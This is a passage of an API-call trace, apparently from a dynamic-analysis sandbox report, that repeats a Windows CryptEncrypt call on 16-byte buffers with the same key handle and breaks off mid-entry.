CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.572] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.573] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.574] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.575] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.576] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 